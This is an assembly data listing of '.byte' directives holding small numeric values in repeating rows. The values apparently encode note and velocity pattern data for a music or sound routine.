.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 0
.byte 62
.byte 188
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 34
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 60
.byte 69
.byte 55
.byte 60
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 64
.byte 79
.byte 64
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 60
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 77
.byte 72
.byte 188
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 205
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 65
.byte 72
.byte 65
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 31
.byte 43
.byte 67
.byte 0
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 60
.byte 55
.byte 55
.byte 60
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 62
.byte 0
.byte 64
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 64
.byte 0
.byte 64
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 188
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 65
.byte 202
.byte 53
.byte 60
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 59
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 67
.byte 0
.byte 79
.byte 188
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 32
.byte 44
.byte 63
.byte 0
.byte 75
.byte 60
.byte 79
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 77
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 60
.byte 0
.byte 75
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 34
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 74
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 0
.byte 79
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 60
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 64
.byte 0
.byte 79
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 53
.byte 65
.byte 69
.byte 77
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 53
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 41
.byte 41
.byte 67
.byte 0
.byte 60
.byte 188
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 53
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 36
.byte 36
.byte 67
.byte 192
.byte 55
.byte 60
.byte 64
.byte 0
.byte 0
.byte 0
.byte 0
.byte 188
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 65
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 64
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 84
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 188
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 76
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 62
.byte 0
.byte 0
.byte 60
.byte 31
.byte 43
.byte 58
.byte 190
.byte 67
.byte 60
.byte 70
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 79
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 67
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 62
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 55
.byte 0
.byte 0
.byte 60
.byte 34
.byte 46
.byte 62
.byte 186
.byte 70
.byte 60
.byte 69
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 62
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 60
.byte 34
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 62
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 0
.byte 46
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 58
.byte 0
.byte 0
.byte 60
.byte 0
.byte 36
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 0
